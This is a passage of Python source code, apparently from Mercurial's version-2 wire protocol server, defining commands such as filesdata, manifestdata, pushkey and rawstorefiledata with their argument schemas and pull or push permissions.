     revisions = store.emitrevisions(
         nodes,
         revisiondata=b'revision' in fields,
         assumehaveparentrevisions=haveparents,
     )
 
     yield {
         b'totalitems': len(nodes),
     }
 
     for o in emitfilerevisions(repo, path, revisions, linknodes, fields):
         yield o
 
 
 def filesdatacapabilities(repo, proto):
     batchsize = repo.ui.configint(
         b'experimental', b'server.filesdata.recommended-batch-size'
     )
     return {
         b'recommendedbatchsize': batchsize,
     }
 
 
 @wireprotocommand(
     b'filesdata',
     args={
         b'haveparents': {
             b'type': b'bool',
             b'default': lambda: False,
             b'example': True,
         },
         b'fields': {
             b'type': b'set',
             b'default': set,
             b'example': {b'parents', b'revision'},
             b'validvalues': {
                 b'firstchangeset',
                 b'linknode',
                 b'parents',
                 b'revision',
             },
         },
         b'pathfilter': {
             b'type': b'dict',
             b'default': lambda: None,
             b'example': {b'include': [b'path:tests']},
         },
         b'revisions': {
             b'type': b'list',
             b'example': [
                 {b'type': b'changesetexplicit', b'nodes': [b'abcdef...'],}
             ],
         },
     },
     permission=b'pull',
     # TODO censoring a file revision won't invalidate the cache.
     # Figure out a way to take censoring into account when deriving
     # the cache key.
     cachekeyfn=makecommandcachekeyfn(b'filesdata', 1, allargs=True),
     extracapabilitiesfn=filesdatacapabilities,
 )
 def filesdata(repo, proto, haveparents, fields, pathfilter, revisions):
     # TODO This should operate on a repo that exposes obsolete changesets. There
     # is a race between a client making a push that obsoletes a changeset and
     # another client fetching files data for that changeset. If a client has a
     # changeset, it should probably be allowed to access files data for that
     # changeset.
 
     outgoing = resolvenodes(repo, revisions)
     filematcher = makefilematcher(repo, pathfilter)
 
     # path -> {fnode: linknode}
     fnodes = collections.defaultdict(dict)
 
     # We collect the set of relevant file revisions by iterating the changeset
     # revisions and either walking the set of files recorded in the changeset
     # or by walking the manifest at that revision. There is probably room for a
     # storage-level API to request this data, as it can be expensive to compute
     # and would benefit from caching or alternate storage from what revlogs
     # provide.
     for node in outgoing:
         ctx = repo[node]
         mctx = ctx.manifestctx()
         md = mctx.read()
 
         if haveparents:
             checkpaths = ctx.files()
         else:
             checkpaths = md.keys()
 
         for path in checkpaths:
             fnode = md[path]
 
             if path in fnodes and fnode in fnodes[path]:
                 continue
 
             if not filematcher(path):
                 continue
 
             fnodes[path].setdefault(fnode, node)
 
     yield {
         b'totalpaths': len(fnodes),
         b'totalitems': sum(len(v) for v in fnodes.values()),
     }
 
     for path, filenodes in sorted(fnodes.items()):
         try:
             store = getfilestore(repo, proto, path)
         except FileAccessError as e:
             raise error.WireprotoCommandError(e.msg, e.args)
 
         yield {
             b'path': path,
             b'totalitems': len(filenodes),
         }
 
         revisions = store.emitrevisions(
             filenodes.keys(),
             revisiondata=b'revision' in fields,
             assumehaveparentrevisions=haveparents,
         )
 
         for o in emitfilerevisions(repo, path, revisions, filenodes, fields):
             yield o
 
 
 @wireprotocommand(
     b'heads',
     args={
         b'publiconly': {
             b'type': b'bool',
             b'default': lambda: False,
             b'example': False,
         },
     },
     permission=b'pull',
 )
 def headsv2(repo, proto, publiconly):
     if publiconly:
         repo = repo.filtered(b'immutable')
 
     yield repo.heads()
 
 
 @wireprotocommand(
     b'known',
     args={
         b'nodes': {
             b'type': b'list',
             b'default': list,
             b'example': [b'deadbeef'],
         },
     },
     permission=b'pull',
 )
 def knownv2(repo, proto, nodes):
     result = b''.join(b'1' if n else b'0' for n in repo.known(nodes))
     yield result
 
 
 @wireprotocommand(
     b'listkeys',
     args={b'namespace': {b'type': b'bytes', b'example': b'ns',},},
     permission=b'pull',
 )
 def listkeysv2(repo, proto, namespace):
     keys = repo.listkeys(encoding.tolocal(namespace))
     keys = {
         encoding.fromlocal(k): encoding.fromlocal(v)
         for k, v in pycompat.iteritems(keys)
     }
 
     yield keys
 
 
 @wireprotocommand(
     b'lookup',
     args={b'key': {b'type': b'bytes', b'example': b'foo',},},
     permission=b'pull',
 )
 def lookupv2(repo, proto, key):
     key = encoding.tolocal(key)
 
     # TODO handle exception.
     node = repo.lookup(key)
 
     yield node
 
 
 def manifestdatacapabilities(repo, proto):
     batchsize = repo.ui.configint(
         b'experimental', b'server.manifestdata.recommended-batch-size'
     )
 
     return {
         b'recommendedbatchsize': batchsize,
     }
 
 
 @wireprotocommand(
     b'manifestdata',
     args={
         b'nodes': {b'type': b'list', b'example': [b'0123456...'],},
         b'haveparents': {
             b'type': b'bool',
             b'default': lambda: False,
             b'example': True,
         },
         b'fields': {
             b'type': b'set',
             b'default': set,
             b'example': {b'parents', b'revision'},
             b'validvalues': {b'parents', b'revision'},
         },
         b'tree': {b'type': b'bytes', b'example': b'',},
     },
     permission=b'pull',
     cachekeyfn=makecommandcachekeyfn(b'manifestdata', 1, allargs=True),
     extracapabilitiesfn=manifestdatacapabilities,
 )
 def manifestdata(repo, proto, haveparents, nodes, fields, tree):
     store = repo.manifestlog.getstorage(tree)
 
     # Validate the node is known and abort on unknown revisions.
     for node in nodes:
         try:
             store.rev(node)
         except error.LookupError:
             raise error.WireprotoCommandError(b'unknown node: %s', (node,))
 
     revisions = store.emitrevisions(
         nodes,
         revisiondata=b'revision' in fields,
         assumehaveparentrevisions=haveparents,
     )
 
     yield {
         b'totalitems': len(nodes),
     }
 
     for revision in revisions:
         d = {
             b'node': revision.node,
         }
 
         if b'parents' in fields:
             d[b'parents'] = [revision.p1node, revision.p2node]
 
         followingmeta = []
         followingdata = []
 
         if b'revision' in fields:
             if revision.revision is not None:
                 followingmeta.append((b'revision', len(revision.revision)))
                 followingdata.append(revision.revision)
             else:
                 d[b'deltabasenode'] = revision.basenode
                 followingmeta.append((b'delta', len(revision.delta)))
                 followingdata.append(revision.delta)
 
         if followingmeta:
             d[b'fieldsfollowing'] = followingmeta
 
         yield d
 
         for extra in followingdata:
             yield extra
 
 
 @wireprotocommand(
     b'pushkey',
     args={
         b'namespace': {b'type': b'bytes', b'example': b'ns',},
         b'key': {b'type': b'bytes', b'example': b'key',},
         b'old': {b'type': b'bytes', b'example': b'old',},
         b'new': {b'type': b'bytes', b'example': b'new',},
     },
     permission=b'push',
 )
 def pushkeyv2(repo, proto, namespace, key, old, new):
     # TODO handle ui output redirection
     yield repo.pushkey(
         encoding.tolocal(namespace),
         encoding.tolocal(key),
         encoding.tolocal(old),
         encoding.tolocal(new),
     )
 
 
 @wireprotocommand(
     b'rawstorefiledata',
     args={
         b'files': {
             b'type': b'list',
             b'example': [b'changelog', b'manifestlog'],
         },
         b'pathfilter': {
             b'type': b'list',
             b'default': lambda: None,
             b'example': {b'include': [b'path:tests']},
         },
     },
     permission=b'pull',
 )
 def rawstorefiledata(repo, proto, files, pathfilter):
     if not streamclone.allowservergeneration(repo):
         raise error.WireprotoCommandError(b'stream clone is disabled')
 
     # TODO support dynamically advertising what store files "sets" are
     # available. For now, we support changelog, manifestlog, and files.
     files = set(files)
     allowedfiles = {b'changelog', b'manifestlog'}
 
     unsupported = files - allowedfiles
     if unsupported:
         raise error.WireprotoCommandError(
             b'unknown file type: %s', (b', '.join(sorted(unsupported)),)
         )
 
     with repo.lock():
         topfiles = list(repo.store.topfiles())
 
     sendfiles = []
     totalsize = 0
 
     # TODO this is a bunch of storage layer interface abstractions because
     # it assumes revlogs.
     for name, encodedname, size in topfiles:
         if b'changelog' in files and name.startswith(b'00changelog'):
             pass
         elif b'manifestlog' in files and name.startswith(b'00manifest'):
             pass
         else:
             continue
 
         sendfiles.append((b'store', name, size))
         totalsize += size
 
     yield {
         b'filecount': len(sendfiles),
         b'totalsize': totalsize,
     }
 
     for location, name, size in sendfiles:
         yield {
             b'location': location,
             b'path': name,
             b'size': size,
         }
 
         # We have to use a closure for this to ensure the context manager is
         # closed only after sending the final chunk.
         def getfiledata():
             with repo.svfs(name, b'rb', auditpath=False) as fh:
                 for chunk in util.filechunkiter(fh, limit=size):
                     yield chunk
 
         yield wireprototypes.indefinitebytestringresponse(getfiledata())